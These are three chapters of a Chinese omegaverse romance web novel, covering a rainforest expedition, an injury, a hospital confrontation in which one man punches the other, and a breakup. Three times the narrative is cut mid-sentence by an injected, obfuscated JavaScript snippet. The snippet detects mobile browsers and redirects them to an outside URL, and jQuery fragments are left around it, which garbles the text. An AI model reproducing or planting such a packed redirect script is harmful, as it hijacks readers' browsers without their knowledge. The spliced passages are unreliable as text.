原骁和宋锦正在专心和公鸡斗智斗勇,两人一左一右夹击,悄悄靠近,那公鸡站在原地,眼睛一眨不眨,鲜红的鸡冠展示了它的愤怒,眼神一对,两人猛地扑上去,那公鸡左右闪躲都逃不开,眼见就要得手,它忽然尖叫两声,紧接着就扑棱着翅膀,原地飞了起来。 宋锦大惊:“我操了这鸡怎么会飞啊!” “我怎么知道!”原骁也没见过飞鸡,顿时愣在原地,谁知道那公鸡飞出一小段就坠了机,他们刚要追过去,一双细白的手却毫无预兆地出现,以迅雷不及掩耳之势抓住了它两条腿。 公鸡尖叫一声,紧接着就被倒提起来,收了声一动也不动。 原骁和宋锦抬头往上看,就看见谈决一双长腿,站那儿简直跟天神下凡似的,神色镇定自若,看他们的眼神还带着点困惑:“你们抓它干什么?” 原骁快被迷死了,忍不住说出真心话。 “你是神吗谈老师?” 24. 钞能力 谈决不明白抓只鸡跟神不神有什么关系:“没那么夸张吧?” 这回宋锦先抢答:“有的!有的!我和原骁追了二十分钟都没追上,你再不来我们都要考虑击毙它了。” 谈决不由一笑:“那还是我来抓吧。” 他说着就把手里的公鸡递给身边的同学,三分钟不到,另一只公鸡也伏了法,原骁和宋锦再也不敢怠慢两位鸡大爷,老老实实捆了送去厨房,让民宿老板帮忙杀一下。 听到原骁要炖汤,谈决想了想,还是决定放下手头的工作:“我也来帮忙。” 这种大雨天其实也干不了什么,还不如找点事做,民宿条件简陋,两只大肥鸡杀完,他们得手动拔毛,没事做的同学们都自告奋勇来帮忙,你一手我一手地折磨鸡,其中最让人意外的就是谈决。 他虽然是领队,但平时话少,身上又有那么多成就和光环,在大家眼里就是那种天山雪莲一样的存在,但做起这些事来却一点不金贵含糊,手法比他们这堆愣头学生好多了。 在场的学生和研究员,大部分都是从小锦衣玉食,连菜市场杀鸡都没怎么见过,更别说自己动手了,最后出来挑大梁的反而是谈决和小沐,宋锦都看呆了:“谈老师做实验的时候经常杀鸡吗?” 为什么手法这么熟练? 谈决把公鸡前后翻了个面,等烫得差不多了,伸手一拽就扯下一大把毛,没多久一整只鸡就被料理得干干净净:“解剖的时候偶尔用到,不过我小时候在农村,经常陪我奶奶杀鸡。” 没被余家收养前,谈决就跟奶奶住在农村,老人家上了年纪种不了地,只能在家里养养牲畜,逢年过节再背出去卖,谈决很小的时候就跟着奶奶料理鸡鸭,很有经验。 此话一出,其他人也愣了。 谈决履历那么漂亮,年纪轻轻就站到这种高度,大家猜过他家多少有点背景,没想到居然是农村出身。 原骁也是第一次知道这件事。 上辈子谈决很少和他说家里的事,他只知道对方小时候被收养,每年会定期请假三天给爸爸妈妈爷爷奶奶扫墓。 至于出身农村,擅长料理鸡鸭,这些都是他从前不得而知的细节。 余文曜抱着手站在一边,闻言意味不明地笑了声,表情微妙,不知道在想什么。 处理干净公鸡,下厨就是原骁的事,大家没事做,就坐在院子走廊下面听雨,民宿老板是个实诚人,拿了新摘的樱桃分给大家吃。 谈决忙了半天,看着春雨打在院子里的花草上,心情也慢慢平静了下来。 傍晚,得益于原骁钻研多年的厨艺,大家都喝上了鲜嫩不腻口的鸡汤,精神也好了很多。 好在天气预报没有骗人,一天一夜的大雨下完,第二天就是个神清气爽的晴天,考察小队继续按计划深入雨林。 然而天不遂人愿,他们第一次在雨林呆了三天,第二次在雨林呆了四天,从抵达雨林到现在整整半个月,都没有找到辉辉菌的下落。 然而队伍已经越来越疲惫,剧毒似的日光几乎把人晒得蜕了一层皮,加上气候湿热,毒虫叮咬,连身强体壮的alpha们都受不了,队员们虽然不说,但私底下还是有怨言,觉得这样下去不是办法。 连向导都没办法,抽着烟解释:“今年气候不好,温度比往年高,降水也减半,辉辉菌不太容易存活的。” 当晚谈决一个人在院子里坐了很久,最后才做出决定:“明天,明天最后试一次,如果还找不到我们就回云城。” 第二天天不亮,考察队就背上行李出发了。 这回他们的路线更冒险一些,要横穿一条分界河前往向导都不愿意陪同的区域,然而出发后第二天傍晚,队伍里有个alpha被蚂蚁蛰伤,很快就出现过敏反应,甚至一度低烧,呼吸困难。 队伍又陷入了两难。 这是最后一次机会,现在掉头就意味着他们只能明年再来找辉辉菌,实验进度会被严重拖累,但队员的健康比什么都重要,原骁最后和谈决商量,把考察队一分为二,七个人原路返回,由宋锦带队,剩下的八个人继续深入雨林。 第三天,他们终于穿过了雨林的分界河,往更深处前进,植被肉眼可见地更高大茂密起来,过剩的氧含量让人头脑昏昏沉沉。 这边没有可供休息落脚的观测站,他们只能在雨林里支起帐篷,每个人身上都涂满花露水,再把全身包得严严实实休息。 第四天,他们还是没有找到辉辉菌的下落,原骁评估了所有人的状态,最后还是决定和谈决商量回程的事。 谈决是状态最差的,他过敏很严重,短短三四天整个人就消瘦了一大圈,原骁和他商量的时候,他的目光盯着四面八方无边无尽的绿海,最后不甘心地点了头。 即便他再想得到样本,但这种事不是努力就能得到,运气占比很重,他体力已经有些透支了,不能再拖累其他人。 第四天傍晚,全队终于停止了寻找样本,开始为明天的回程养精蓄锐,原骁尽职尽责地查看了所有人的状态,等再去谈决的帐篷时,才发现里面空荡荡没人。 余文曜也不在。 他心中一紧,谈决那个性格,大概是不甘心又偷偷出去了,雨林深处信号不好,他们联络都得靠卫星电话和对讲机。 他扯下肩上的对讲机:“谈决?谈决你在吗?” “…在,”对讲机里传来滋啦滋啦的忙音,断断续续的,但至少可以肯定谈决在近处。 原骁松了口气,没问太多:“在哪儿?我过来找你。” 对讲机又是一阵滋啦滋啦的忙音,隐约只能听见“瀑布”两个字。 瀑布? 原骁在脑子里想了一下,很快就找到方位,确实不远,大概离营地四百米的位置,又问:“余文曜跟你在一起吗?” 谈决那边沉默了一会儿,这才“嗯”了一声。 “好,我马上过来。” 原骁收起对讲机,又嘱咐几个队员保持联络,大概过了十分钟左右,他终于到了瀑布的位置,然而迎接他的是湿透的谈决和一条血淋淋的腿。 原骁当即呼吸一窒。 上辈子谈决就是在雨林伤到腿的,虽然没留下后遗症,但反复感染,断断续续养了三四个月才好,这辈子原骁怕他重蹈覆辙,一直反复强调让omega不要单独行动,有什么事情都要带上自己,谁知道千叮万嘱还是没防住。 他有点生气,看见守在谈决旁边的余文曜就更生气了,这两个人一言不发绕到瀑布底下,结果闯了这么大的祸,他绕道下去,看见谈决面色惨白地坐在石头上,终于冷了脸。 “怎么摔的?”他单膝跪地,扶住谈决的伤腿,看见上面好大一个豁口,显然是磕到的,泥水混着鲜血,十分棘手。 余文曜站在一边,欲言又止,见原骁脸色差得像要杀人,最后还是习惯性地把问题留给谈决解释,自己什么都没说。 谈决冷汗直流,整条腿都在微微发抖,却没喊疼,他看了眼站在原骁身后神色心虚的余文曜,似乎早就猜到对方会是这个反应,只垂眼看着血淋淋的伤口:“……不小心踩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17185199|197004||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 空了,旁边有块石头。” 原骁默了默,火气却像即将喷发的火山,关也关不住,他忍了又忍,还是没说什么,只是取出了随身携带的矿泉水和纱布,给谈决做个简单的清理,再止血包扎。 他做完这些,又看向余文曜:“有队员受伤为什么不第一时间联系队友?” 余文曜也湿透了,闻言难得低头:“对不起,我太慌张了,所以没想起来……” 没想起来? 原骁都快气笑了:“那考察手册上的注意事项被你记进猪脑子了?” 这话很难听,余文曜脸色果然一变,原骁才不管他心情好不好,继续嘲讽:“没那个金刚钻就别揽瓷器活,你是不是托关系进考察队给简历镀金我不管,但拖累队员就是傻逼。” 他说完就双手把谈决抱了起来,对方伤了膝盖没法背,只能抱着走,谁知刚抱起来,谈决却忽然道:“……等一下。” 原骁现在对谈决的态度也有点不好:“什么?” 谈决全身湿漉漉的:“我刚刚看见瀑布水帘后面有个入口,原骁,你帮我看一眼吧。” 原骁没回应,只垂目看着怀里的人,最后深吸一口气:“谈决,我还没找你算账。” 这个人简直做研究做疯了。 谈决却像是连辩解的力气都没了:“……帮我看一眼吧,原骁。” 原骁看着谈决苍白的脸,恨他不爱惜自己,又气自己不争气,冷不下脸教训对方,只能找了块干净地方把人放下:“行,我去看。” 这座瀑布不大,就是个河流的小断层,原骁就绕到瀑布边,透过水帘可以看见一个若隐若现的洞口,他找准位置,闭目弓身一跃,很快就踩稳了地面,再睁眼时,眼前是一片漆黑的洞窟,唯有水帘处的洞口透着光。 他花了点时间适应视野变化,打开手电,趟着水往里行进。 越往里,他才发现这里是一个被水流掏空的天然洞穴,石头和巨大的树根缠在一起,像一条条盘起的蟒蛇。 原骁忽然有种莫名的预感,他又往里走了几步,忽然关了手电,伴着洞口轰鸣的瀑布声,漆黑洞穴上忽然亮起一簇簇碧绿的荧光。 他再靠近些,才发现那些荧光像一朵朵漂亮的小伞,他脑子里忽然跳出考察手册上的介绍。 “辉辉菌,真菌,外形呈伞状蘑菇,对温度、光照、水源等生存条件要求极高,在黑暗中会发出绿色荧光,所以命名“辉辉”。” 再三确认后,原骁终于确定他们找到了样本,他第一时间通知了其他队员,然后趟着水穿过了瀑布。 谁都没想到会在回程的最后关头找到关键样本,疲惫的队伍顿时打了鸡血,手忙脚乱地奔过来采集样本,所有人都松了口气,谈决一路焦灼的心也终于落回实处。 他连伤腿都管不上,必须亲眼看着队员把样本采集、封装、冷藏,一群人从天亮忙活到天黑,终于采集到了足够的样本,这才小心翼翼回了营地。 谈决是被原骁一路抱回去的,他浑身湿透,又受伤流血,到了夜里就开始低烧,吃了药也没用。 他们在雨林深处,就算明早启程也至少需要一天半的时间才能到民宿,从民宿到当地公立医院还要半天,原骁想来想去,还是觉得不太行,想都没想就拨通了原越庭的电话。 儿子出发考察了二十天第一次打电话,原越庭都有些受宠若惊:“晚上好儿子,怎么样,考察顺利吗?” 原骁没时间唠家常:“谈决受伤了。” “我发了坐标,你赶紧派直升机过来。” 25. 出气 他语气严肃,一点不废话,原越庭消化了一会儿才道:“……行。” 原越庭立马挂了电话,大概十分钟后又把电话拨了回来:“离你们最近的基地已经拨人过去了,大概七十分钟抵达,飞机上配了两个医护人员,待会他们会联系你。” 原骁脸色终于好了点:“谢谢爸。” 电话那头的原越庭喝了口茶,关心道:“谈老师伤得严重吗?” 原骁:“有点,我怕他感染。” 原越庭“噢”了一声,其实他挺不同意谈决带队来雨林考察的,毕竟对方现在是根救命稻草,出了事谁也抵不上空缺,但科研的事他不懂,没法掺和,只能在这种事上出点力。 不过原骁十天半个月不跟他联系,电话一接通就是为了谈决,他端着保温杯寻思半天,慢慢意识到原骁之前的话不是玩笑,忍不住八卦:“儿子,你想好了,真要和谈老师结婚?” 原骁心想老父亲终于开窍了,暗自欣慰:“嗯,想好了。” 原越庭又捏着保温杯寻思了半天,最后郑重地点点头:“也好,谈老师不错的,咱们家还没出过读书人,要是成了你就是原家的功臣。” 原家是从商起家,到了原骁祖父辈才开始从政,到了原越庭这一代已经是商政一体的大家族,家里出过商人、军人、政客,画家、音乐家……什么都有,就是没有搞学术科研的,所以原越庭对这类人一直有点滤镜,稀罕地不得了。 “成了你就带他来家里,爸给谈老师包个大红包。” 原越庭越是憧憬,原骁就越泄气:“八字还没一撇呢,先谈上再说。” 他千叮万嘱让谈决不要单独行动,结果对方转头就摔一身伤,说到底还是谈决不够信任他,不拿他当自己人。 “行行行,那我不耽误你们小年轻谈恋爱,你李叔给我打电话了,挂了。” 原骁:“嗯。” 他爸说挂就挂,一点也不犹豫,原骁等了一会儿基地的消息,在收到他们出发的通知后才松了口气,重新折回了营地。 小沐正带着其他人整理样本,谈决在自己帐篷里休息,额头上敷着降温贴。 余文曜在一边守着他,不知道为什么这人一直没走,原骁现在看见他就不太爽,直接掀开帐篷钻进去,用手背碰了碰谈决的脸,眉头又皱起来:“怎么还这么烫?” 谈决睁开眼:“可能是落水后着凉了。” 原骁虽然心里憋着气,但这种时候数落对方根本没用,他看见谈决微微蜷缩的身形,明明烧得浑身滚烫,却不停打冷颤:“冷吗?” 谈决点点头。 原骁只能从背包里取出件穿过的外套给omega裹上,又拧开矿泉水递过去:“再忍一下,我联系了直升机来接你。” 谈决虽然虚弱,但显然不太赞同这种做法:“那你们怎么办?” 原骁:“你和小沐先带样本回云城,我留下来带队。” 谈决默了默,他盯着自己的伤腿,有些不甘心,但他留下来只会拖累整个团队,最终还是妥协了:“好,那剩下的交给你了。” “再替我和大家转达一下歉意。” 谈决责任感很重,也不喜欢麻烦别人,遇到这种事心里或多或少都不好受,他垂着眼,脸上的疲态却怎么也掩不住。 原骁终于还是没忍住,他手捧着omega的脸颊,抱了抱对方:“别想太多,我会把事情处理好的。” “我外套上有一点信息素,待会你穿上它走。” 谈决“嗯”了一声,又偏过头去,闭上眼睛修养。 余文曜就站在一边,冷眼看着二人交谈,拥抱,甚至分享外套和信息素,到了这个地步,再想为他们开脱是普通师生关系也没用,因为谈决不喜欢一个人的时候,即便病死也不会接纳对方的信息素。 他终于得到了答案,却并不觉得痛快,他只能眼睁睁看着谈决越走越远,越飞越高,最后脱离掌控,无法再被打压。 小时候的招数已经不管用了。 一小时后,震耳的螺旋桨声终于打破了雨林的寂静,载着谈决和小沐离开了这座茂密的迷宫。 于是考察队只剩下六个人,原骁是队长,得为所有人负责,他们花了一天半的时间回到民宿和宋锦汇合,简单休整过后终于踏上了回云城的路。 谈决就在军二院留院观察,飞机刚落地原骁就打车往二院赶,谁知道刚到医院门口,学校又通知他们回去开会,原骁没办法,只能让司机师傅掉头。 他们这次考察超出了原定日期,很多课程要重新补假条,不然期末容易被打低分挂科,原骁是特战班的领队,还有很多工作内容要做报告说明,等做完这一堆工作,打开手机一看,已经晚上十一点了。 他没犹豫,打了车往二院赶。 刚到二院,他就看见医院门口有个老头在卖炒饭,他没吃晚饭,饿得前胸贴后背,一闻见炒饭味都快香得跪下了,没忍住买了两大份蛋炒饭,又多加了蛋和火腿肠,这才满意地提着炒饭往住院楼走。 他和谈决已经四天没见,路上也不方便联络,原骁总感觉这四天漫长得跟四年一样,他来之前没提前告诉谈决,一想到待会omega看见他拎着香喷喷的炒饭出现时会露出怎么样的神情,就忍不住加快脚步。 他坐着电梯到了楼层,七拐八拐找到了谈决的病房,正打算敲门给对方一个惊喜,却听见里面传来交谈声。 原骁下意识停下动作。 里面的声音透过门缝传出来:“爸妈只是让你回家吃顿饭,又不是要害你,你就这么不愿意,这么不待见我们吗?” 是余文曜。 他跟个冤魂似的,阴魂不散,总缠着谈决,隔着一道门原骁都能察觉到他声音里面的疑惑、不解、还有难以察觉的傲慢。 他开门见山挑明,谈决也没再搪塞对方:“……我不想回去。” 他没再用“工作忙”“没时间”来回避冲突,而是真心实意地说出了自己的诉求。 “为什么?”余文曜显然难以置信,难以接受:“爸妈对你那么好,供你吃穿,送你上大学,给你牵线进研究所……到底有哪一点对不起你?” “我们余家哪一点对不起你?” 谈决靠坐在病床上看书,他的伤腿有轻微的骨裂,伤口有感染的倾向,所以打了石膏,听见这句话,他终于放下了手里的书,耐心地和这个执着的alpha解释:“……没有。” “叔叔和阿姨没有任何一点对不起我,你也没有,但我不想回家。” 余文曜本来是余家独子,被父母疼爱,但是四岁那年突然多了一个陌生的哥哥,分走了父母的注意力,他觉得谈决抢走了他的爸妈,觉得失望不满,还把他视为敌人都是正常的,谈决寄住在别人的屋檐下,他有这个自知之明。 可谈决已经很累了,他没有精力分辨谁欠了谁,谁对不起谁,谁又对得起谁……他不想回家,只想一个人静静呆着。 余文曜显然不打算就这么放过他,反复追问:“为什么?” “到底为什么?” “是不是因为爸让你走关系把我送进研究所实习你不高兴?还是因 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17185200|197004||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 为你为了救我摔伤的时候我没有站出来解释?” 原骁站在门口,冷不丁听见这句话,心也跟着一沉。 余文曜说了很多个理由,最后才试探:“……还是因为那个原骁?” 听到这个名字,谈决脸色果然正色道:“跟他没关系。” 余文曜没说话,只是隔着病床和他对视,好半晌,他喉咙里才发出一声讽刺的冷笑:“不是?” 你看,不管说起任何一件事,谈决都是那一副平静到能把人逼疯的表情,他好像永远都那样,仗着自己的智商和能力,就把其他人看轻得什么都不是,好像全天下的普通人都不配和他说话一样。 但一提到原骁,他就慌张,护短,甚至带着微不可查的愠怒。 “谈决,你真的变了很多,变得简直让我刮目相看。” 余文曜再也不忍耐,毫不犹豫地撕破了那张遮羞布。 “你小的时候只会静静站在角落里,用那种小心翼翼,害怕犯错的眼神看人,我爸和你说话,你就抿着唇笑笑,卑微得不像话。” “我偷吃泡面被发现,我妈教育你,你也不敢摇头说罪魁祸首不是自己。” “我小时候排挤你,你从来都不告状,但你现在不一样了,你厉害了发达了,我们所有人都比不上你,你就想逃了是不是?” 谈决沉默着。 他越沉默,余文曜就越生气,说出来的话也越来越难听:“我查过那个原骁了,背景真不错,比我们余家要好成千上万倍,明年他爹就要当联盟主席吧?他那么喜欢你,跟舔狗一样围着你转,给你做饭煲汤,连你受点伤都能调直升机来接你……傍上了这种人,你当然不用再和我们这些普通人虚与委蛇。” 谈决终于皱起眉:“余文曜,注意你的言辞。” 小时候余文曜喜欢用恶作剧孤立他,排挤他,但也只会悄悄地,除去这些他还算个正常人,但对方现在说出这种话,却让谈决觉得有什么东西在悄悄地生长,再腐烂,于是所有恶意就铺天盖地地涌向了他这个寄人篱下的养子。 余文曜却没有停下来的意思:“干净?我那句话不干净?” “要说不干净,你一个omega在工作期间让学生进自己房间睡觉才更不干净吧?睡都睡过了你在这里装什么清高?” 谈决瞳孔一缩,瞬间想起来什么:“你看见了?” 余文曜反问:“我看见又怎样,你敢做还不让人说吗?” 那天晚上原骁来给谈决抹药,又在他房间里睡了一晚,但自始至终alpha没有做过任何逾越的事。 但别人根本不会在意这些,他们看见一个alpha和omega在一间房里呆了一晚上,就会觉得他们上了床,并以此羞辱omega。 谈决想辩解点什么,他想说原骁不是那种人,想说他们只是在在慢慢学着恋爱,慢慢亲近,但是话到了嘴边,又觉得这些自证毫无意义。 他觉得疲惫,只能无力地闭上眼,然而下一刻病房的大门就被人敲响了。 他睁开眼,希望是查房的护士来终止这场无休止的闹剧,然而定睛一看,就看见原骁拎着两个大袋子站在门口:“打断一下,有人想吃炒饭吗?” 谈决一呆,同样变脸的还有余文曜:“你来干什么?” 原骁走进来,轻手轻脚地把两份炒饭放在柜子上,等两只手空了,他才活动了下关节,走向余文曜:“我来揍你。” 话音刚落,余文曜就听到拳风擦着耳朵呼啸而过。 砰——毫不收敛的一拳,重重砸在了他脸上! 26. 他在哭 咣当——剧烈的疼痛直充天灵盖,余文曜还来不及惨叫,就被一拳打翻在地。 “我操|你|爸——”余文曜捂着脸大骂出声,两眼都在冒金星,看人都重影。 原骁没想到他菜成这样,一拳都受不了,笑了一声,揪着余文曜的领口把人提起来,对着另一边脸又是重重一拳:“操去吧,我爸在家等着。” 砰——余文曜惨叫一声,被打得偏过头去:“别打了……别打了!” 原骁这才停手:“我有没有警告过你,敢影响谈决,我绝对饶不了你?” 余文曜两边脸都肿起来,左眼几乎睁不开,他虽然是alpha,但力量上和原骁悬殊太多,两拳就老实了,连还手都没力气,只是疼得眼泪直流:“……你想怎么样?” 原骁居高临下地看着他:“道歉。” 余文曜咬了咬牙,虽然不甘心,但还是听话道:“对不起。” “这声是对我的,对谈决的呢?” 他揪着余文曜的衣领把人带起来,后者满脸泪水,强迫自己睁眼去看病床上的谈决,看着对方复杂的神情,喉咙里却像被刀割一样:“……对不起。” 谈决静静看着他,不知道在想什么:“没关系,我接受你的道歉。” 依旧是那种平静的语气,好像他余文曜这辈子就只配被俯视,被轻飘飘对待,被当做无关紧要的人一样。 他无端生出一股强烈的恨意,忍不住攥紧拳头,痛意混合着被人打倒的屈辱,再开口时他已经哭了起来:“谈决……你就这样联合外人来欺负你弟弟!” 原骁站在一边,听见这句话下巴都快惊掉了,拳头又开始发痒:“再说一遍谁欺负谁?” 余文曜却忽然转过头来盯着他,挑衅似的:“你难道要打死我吗?来啊!来打死我!” 原骁眯了眯眼,有点想付诸行动,却被抓住手臂,回头,就看见谈决摇了摇头:“在医院斗殴不好。” “……行,”原骁很听话,谈决说什么他听什么,何况打了这两拳也够余文曜受的,他看向余文曜:“我不打你,你走吧,希望你记得谈决还是你哥,不是你的仇人,更不是你的下人。” 以前原骁不知道他有个极品弟弟,现在知道了,就不能任由谈决被欺负。 他一句话就戳破了对方的想法,余文曜愣了下,又冷笑起来:“没有我爸妈,他谈决还不知道在哪里,他奶奶癌症去世,是我爸把他带回家,是余家给了他机会,没有我爸妈,他能有今天的成就?估计现在还在哪个山沟里窝着吧!” “他进了我家,分走了我爸的关注,还要打压我嘲讽我,成绩好了不起吗?跳级不起吗?他这么对我,我不该讨厌他吗?” 他越不甘,谈决就越困惑:“我从来没想过和你争什么,也不想分走叔叔的关注。” 余文曜又笑了一下,他擦掉鼻血,把这些年来所有的不满都吐露出来:“你是没有,可你每次考满分回家,跳级考大学,一路到研究所,我爸都会看着我不说话,哈哈,我知道他的在想什么,他就是喜欢聪明人,恨不得你才是他亲生的!” 为什么,为什么偏偏是谈决这样的人? 为什么一个本该一无所有的人,却能处处压他一头,甚至把他踩在脚底,现在又在这里装清高? 谈决没想到他一直针对自己是这个原因,不由沉默下来。 “等一下,”原骁在一边旁观,却越听越不对劲:“我没听错吧?因为谈决出身不好,又被你爸收养,所以他就不能优秀,不能处处压你一头,是这个意思吗?” 他总是能找到关键:“兄弟,你心理是不是有点太脆弱了?” “你爹给你甩脸色,你就去找你爹,比不上谈决就欺负他,你是不是个alpha?” “还有,”原骁这回一点都不收敛,放开了嘲讽:“谈决就算不被你家收养,也会达到现在的成就,真以为你们家那破环境破基因能供出天才?不拖后腿就谢天谢地了,能不能对天才有点敬畏之心,正视人与人之间的差距啊?” 他敢说谈决都不敢听,谈决总觉得alpha好像给自己带了一层奇怪的滤镜,含有盲目成分,他像是被架在火上烤,莫名脸上有点发烫。 余文曜脸也烫,不过是气的,他打不过就算了,现在连骂也骂不过,最后只能恶狠狠地瞪一眼原骁,放下狠话:“……你们给我等着!” 原骁无所谓:“等着就等着。” 余文曜捂着脸摔门走了,病房里又恢复平静,只剩原骁和谈决两个人。 原骁立马川剧变脸,凑到床边:“怎么样,他有没有欺负你?” 谈决摇头:“他没来多久。” 也就比原骁早一点点。 谈决又问:“你怎么来了?” 原骁:“我想你。” 他很爱打直球,谈决经常接不住,怔愣半晌只能“嗯”一声。 原骁没察觉他的那点小无措,还在庆幸:“还好我今天来了,不然你弟也太嚣张了。” 谈决笑了笑,神情有些捉摸不透:“……我以为你会不想理我。” 在雨林的时候原骁千叮万嘱,结果自己转头就摔了,原骁一定在气自己不信任对方。 原骁没想到他还记着这茬,怪不得谈决这几天都没联系他,于是老实道歉:“腿摔伤的事是我误会你了,对不起。” 谁会想到谈决摔伤是因为余文曜,最过分的是余文曜那个孬种居然不站出来说明,还有脸让谈决顶锅。 他看看谈决的伤腿,又看看床头挂着的病例,确定没有大问题彻底放下心来:“饿不饿?我买了炒饭。” 没等谈决回应,原骁就开始拆塑料袋分炒饭,盖子一打开,香味瞬间漫开,带着暖意,让人觉得幸福:“你尝尝,我多加了荷包蛋和烤肠。” 谈决没拒绝,接过来慢慢地吃,原骁不想让他再想起那些糟心事,一直表现得很殷勤,他和谈决说话,后者偶尔会停下来笑笑,但那种疲惫依然挥之不去。 到最后连谈决都察觉到alpha的意图,alpha把垃圾送出病房,又笑眯眯地折了回来,他这几天舟车劳顿,今早才落地云城,刚落地又被抓去开会,半夜才忙完,他已经快两天没合眼,虽然笑容依旧开朗,但眼下已经有了黑眼圈。 谈决忽然道:“你担心我不高兴吗?” 原骁停下了动作。 他明明已经那么疲惫,却要强撑着赶来医院,装作若无其事地对着谈决笑。 说不清为什么,这一刻谈决忽然觉得他们不是很相配,alpha从小锦衣玉食,无忧无虑,在哪里都被人捧着,奉承着,而现在他要陪自己待在冰冷的病房,一起分担工作压力和来自家庭的一地鸡毛。 谈决看见alpha体贴到几乎在讨好的笑,不觉得开心,只觉得刺眼,他好像一座漆黑的,被坏情绪填满的无底洞,而原骁是太阳化身的白骑士,明明已经那么耀眼,却还是会因为自己的索取而变得暗淡。 就像被藤壶寄生的海洋动物——谈决脑子里忽然跳出这个想法,他被自己吓了一跳,又觉得无比贴切。 或许他和原骁本来就不适合。 这个想法一成型,就开始发散,壮大,最后变成了孤注一掷的决心:“原骁,我好像有答案了。” 原骁一顿,他知道谈决说的是什么,是关于他们之前要不要结婚的答案,他忽然有种不好的预感:“那你的答案是什么?” alpha已经送上门了,谈决实在很喜欢,他想抓住,却怎么也伸不出手,他只察觉到深深的无力,明明没有惊涛骇浪,情绪却无声无息决了堤,他闭了闭眼,平静地说出了自己的选择:“……我们不合适。” 原骁彻底愣住了。 他想不通,他已经用尽全力,他甚至可以等,可以等一年两年,等到0218研究成功,问世,可谈决轻飘飘一句“不合适”,就彻底阻断了他想继续的决心,他胸口闷闷的:“哪里不合适?” “很多方面,家庭,性格,社交圈,未来发展……”谈决没和他对视,只是平静地举例,不知道是在麻痹原骁,还是在麻痹自己。 虽然早就做 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17185201|197004||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好准备,但亲耳听到这些实话,原骁还是有些难以接受,他沉默了很久,问出了唯一的,真正在意的问题:“那你喜欢我吗?” 他总是这样,爱恨都太分明,不给人留余地,谈决不知道怎么回答,更说不出口,只能让问题原路返回:“那你喜欢……” “我喜欢,”原骁毫不犹豫地打断他,“我喜欢你,谈决。” 他单膝跪地,靠在床边,抓着谈决的手放到了自己脸颊上,他仰头看着对方,近乎乞求地抛出自己真心,只求omega能看上一样,声音也不自觉带上哽咽:“……我爱你。” 他们上辈子的爱在不停错过,难道今生连弥补的机会都没有吗? 他越这样难过,谈决就越愧疚,他说不出话,更不敢回答,只能靠坐在床头,慢慢抽出手,闭上了眼:“……我累了。” 这就是拒绝加赶客的意思了。 某一瞬间,原骁都怀疑上辈子那些记忆只是自己临死前的一场梦,如果谈决真的喜欢过自己,为什么现在面对低声下气的恳求却能这么绝情? 他不敢发疯,不敢抓狂,甚至不敢质问,因为谈决还在生病,他只能浑浑噩噩地站起来:“……好。” “那你好好休息。” 他像一具行尸走肉,慢慢走出了病房。 “咔哒”,听见房门关上的声音,谈决终于睁开眼,他注视着门上的玻璃,想象着alpha是怎么离开医院,眼眶却无声无息地红了。 原骁不知道自己是怎么离开住院楼的,直到楼下的冷风灌进衣领,他才如梦初醒地回过神,准备打车回家。 “叮咚”,他手机响了两声,是专门给谈决设的提示音,他心中忽然升起一点救命稻草般的希望,迫不及待地点开聊天界面,确实冷冰冰的两条消息。 【谈决:这些天谢谢你。】 【谈决:互删吧。】 原骁只觉得脑子里被雷劈了一样,他不甘心,更不明白谈决为什么这么狠心,好好的两个人连朋友都没得做,他噼里啪啦打了一堆字过去,然而刚发出,前面就跳出红色感叹号。 【谈决开启了朋友验证,你还不是他(她)朋友,请先发送朋友验证请求,对方验证通过后,才能聊天。】 原骁懵了。 他不知道做错了什么,明明一切都好好的,为什么忽然变成了这样? 为什么比上辈子还糟糕? 某一瞬间他几乎要恨上谈决,恨他那么狠心、果决、一点余地也不留。 他不知所措地站在楼下,凌晨的医院安静到连个鬼影都看不见,只有冷风在不停地提醒他失败的事实。 他站了很久,或许是半个小时,或许是四十分钟,各种各样的情绪席卷了他,他想赌气一走了之,从此和谈决当陌生人,又想或许他和谈决真的不适合,上辈子的悲剧已经给了他实践模板。 可他越洗脑自己就越想不通,越委屈,最后他终于忍无可忍,折头坐上了回病房电梯。 值班护士看见他去而复返,有些意外,原骁却头也不回地往谈决病房走。 他最后看一眼,只看一眼,要是谈决真的狠心到抛下他,现在美美在病房睡觉,那他就真的不管了。 谁知道他到病房却扑了个空,单人病房里空无一人。 他心一跳,害怕对方做傻事,连忙跑去护士站询问情况,护士没说什么,只指了指走廊尽头的楼梯间。 “谢谢。”原骁不敢耽搁,三步并作两步走过去,一把推开了楼梯间地大门。 冰冷黑暗的台阶上,静静坐着一个人。 他身形太单薄,几乎和黑暗融为一体,浑身上下透着一种溺水般的窒息,唯独食指和中指间亮着一簇火星。 原骁闻见了烟味。 